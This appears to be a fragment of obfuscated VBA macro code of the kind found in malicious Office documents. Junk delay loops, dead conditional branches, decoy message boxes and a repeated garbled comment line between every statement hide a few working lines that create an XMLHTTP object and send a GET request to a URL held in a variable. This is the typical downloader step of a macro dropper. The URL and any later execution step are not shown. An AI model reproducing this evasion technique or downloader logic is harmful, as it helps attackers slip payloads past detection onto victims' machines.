'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
QCBUbMUw = 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While QCBUbMUw < 22
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim jRJlFcHV As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For jRJlFcHV = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next jRJlFcHV
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: QCBUbMUw = QCBUbMUw + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim jnqGYkJL As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For jnqGYkJL = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next jnqGYkJL
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim HTdOaMLQ As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For HTdOaMLQ = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next HTdOaMLQ
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
       MsgBox ("Error !!!")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim mJbTodjr As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim XBtfJLFh As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For XBtfJLFh = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next XBtfJLFh
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
mJbTodjr = 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While mJbTodjr < 81
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim vSEEHhke As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For vSEEHhke = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next vSEEHhke
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: mJbTodjr = mJbTodjr + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim BUvBgKXD As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For BUvBgKXD = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next BUvBgKXD
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim DBbKGCSB As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For DBbKGCSB = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next DBbKGCSB
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
    Set RNNVUWVLESY = CreateObject("MSXML2.XMLHTTP")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
    RNNVUWVLESY.Open "GET", TWTUFQULVUY, False
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 295453 = 295453 + 1 Then End
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 6516 < 99 Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim wDDDCpIP As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim xWKmgzYS As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For xWKmgzYS = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next xWKmgzYS
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
wDDDCpIP = 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While wDDDCpIP < 52
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim cHsWJeEa As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For cHsWJeEa = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next cHsWJeEa
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: wDDDCpIP = wDDDCpIP + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim vSTlPCRX As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For vSTlPCRX = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next vSTlPCRX
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim AlfDmysR As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For AlfDmysR = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next AlfDmysR
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
        MsgBox ("IIuQRXhv71")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If Len("CaVTkUaX4563") = Len("GOrPUGyQ") Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim vxupHaMF As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim CLbJWdHL As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For CLbJWdHL = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next CLbJWdHL
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
vxupHaMF = 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While vxupHaMF < 97
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim NnyjlyjX As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For NnyjlyjX = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next NnyjlyjX
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: vxupHaMF = vxupHaMF + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim daKwgXcW As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For daKwgXcW = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next daKwgXcW
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim EidJoDho As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For EidJoDho = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next EidJoDho
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
       MsgBox ("Error !!!")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim ijUublRx As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim OxvLLspP As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For OxvLLspP = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next OxvLLspP
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
ijUublRx = 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While ijUublRx < 66
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim AhYgrheX As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For AhYgrheX = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next AhYgrheX
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: ijUublRx = ijUublRx + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim GGklVtpW As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For GGklVtpW = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next GGklVtpW
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim UUnQmcpS As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For UUnQmcpS = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next UUnQmcpS
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
    RNNVUWVLESY.Send "cdgdf"
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 513245 = 513245 + 1 Then End
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 8859 < 75 Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim xQXrxhZq As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim OZWgwsff As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For OZWgwsff = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next OZWgwsff
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
xQXrxhZq = 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While xQXrxhZq < 27
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim fBWhgKHl As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For fBWhgKHl = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next fBWhgKHl
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: xQXrxhZq = xQXrxhZq + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim HQUlgpSS As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For HQUlgpSS = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next HQUlgpSS
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim moREIdNI As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For moREIdNI = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next moREIdNI
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
        MsgBox ("nVNqdyMM87")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
